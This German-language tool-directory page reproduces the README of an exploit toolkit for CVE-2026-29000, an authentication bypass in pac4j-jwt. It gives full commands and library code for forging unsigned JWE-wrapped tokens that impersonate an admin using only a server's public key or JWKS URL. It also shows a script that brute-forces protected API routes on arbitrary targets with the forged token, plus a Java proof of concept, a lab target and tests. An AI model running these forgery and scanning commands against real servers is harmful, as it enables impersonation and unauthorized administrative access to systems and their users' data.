Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/kernelzeroday/cve-2026-29000
Authentifizierung & AutorisierungAufklärungPayload-GenerierungSchwachstellenanalyseExploitationScripting & AutomatisierungWebanwendungs-ExploitationPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
kernelzeroday/cve-2026-29000

CVE-2026-29000

Forge JWE-verpackte unsignierte JWTs, um die pac4j-jwt-Signaturprüfung (CVE-2026-29000) zu umgehen und sich als beliebiger Benutzer zu authentifizieren; enthält Python-CLI, Bibliothek, Java-PoC und kiterunner-Routenscanning.

Repository anzeigen
93vor 5 MonatenNoch nicht geprüft

CVE-2026-29000: pac4j-jwt JwtAuthenticator Authentifizierungsumgehung

Vollständiger Ausbau: Writeup, Java-In-Process-PoC, Python-Token-Forge-CLI und -Bibliothek, Tests.

Zusammenfassung

  • CVE: CVE-2026-29000 (CVSS 10, CWE-347)
  • Betroffen: pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 bei Verwendung von JWE + Signaturkonfiguration
  • Problem: JWE-verpackter PlainJWT (unsigniert) umgeht die Signaturprüfung; ein Angreifer mit nur dem öffentlichen RSA-Schlüssel des Servers kann Token fälschen und sich als beliebiger Benutzer authentifizieren.

Siehe WRITEUP.md für Details und PoC-Anforderungen.

Aufbau

PfadBeschreibung
WRITEUP.mdCVE-Zusammenfassung, Grundursache, betroffene Versionen, PoC-Anforderungen, Referenzen
RECON.mdWas einzufügen ist (Claim-Erkennung, app-spezifische Claims) und wo einzureichen (Header, Cookies, Auffinden geschützter Endpunkte)
OPERATIONALIZATION.mdWas für den Produktionsbetrieb nötig ist: Verpackung, Konfiguration, Sicherheit, Automatisierung, Beobachtbarkeit, Wartung
scripts/kr_scan.pyToken fälschen und kiterunner (~/bin/kr) mit Authorization: Bearer ausführen, um geschützte API-Routen zu brute-forcen/zu scannen
examples/Beispielskripte: forge_and_curl.sh, forge_and_kr.sh
lab/Flask-Lab-App (JWE-Endpunkt + JWKS) zum Testen des Token-Forge
poc/Java-Maven-PoC (In-Process-Umgehung gegen pac4j-jwt 6.0.3)
token_forge/Python-Paket: JWE-verpackten PlainJWT aus PEM oder JWKS-URL fälschen
tests/Pytest-Tests für Claims, Forge, Schlüssel, CLI
requirements.txtPython-Abhängigkeiten (jwcrypto, requests, pytest)

Python (Token-Forge)

Einrichtung

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # oder .venv\Scripts\activate unter Windows
pip install -r requirements.txt

CLI ausführen

root@kitploit:~
# Aus PEM (generieren mit: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /pfad/zu/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# Aus JWKS-URL
python -m token_forge --jwks-url https://ziel/.well-known/jwks.json --subject admin

# Zusätzliche Claims (für app-spezifische Erkennung): --claim [email protected] --claim key=value
# Optionen: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose

Ausgabe: eine einzelne Zeile (gefälschtes JWT); verwenden als Authorization: Bearer <token>.

Kiterunner (kr)-Automatisierung

Erfordert kr in ~/bin/kr. Token fälschen und kr brute (oder kr scan) mit Bearer-Authentifizierung ausführen, um geschützte Routen zu entdecken:

root@kitploit:~
python scripts/kr_scan.py https://ziel.com --jwks-url https://ziel.com/.well-known/jwks.json
python scripts/kr_scan.py https://ziel.com --public-key pub.pem -w pfade.txt -o json --dry-run

Siehe RECON.md §4 für Optionen (--subject, --roles, --claim, -A, --scan, usw.).

Bibliothek

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

Tests

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# oder mit Warnungen als Fehler:
pytest -vv -W error -W always --tb=short --maxfail=1

Java-PoC

Build und Ausführung (erfordert Java 11+ und Maven)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Oder nur Token (ohne In-Process-Validierung):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Mit benutzerdefiniertem Subject/Rollen:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

Erwartet: [BYPASS] Authenticated as: admin#override und Rollen bei In-Process-Ausführung.

Tests und Abdeckung

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # dann htmlcov/index.html öffnen

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

Lab (verwundbares Ziel)

Flask-App, die JWE akzeptiert und Claims zurückgibt (zum Testen von Forge + curl/kr).

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

Siehe lab/README.md.

Referenzen

  • CodeAnt AI – Vollständiger PoC und Analyse
  • pac4j-Sicherheitshinweis
  • OpenCVE CVE-2026-29000
Tool herunterladen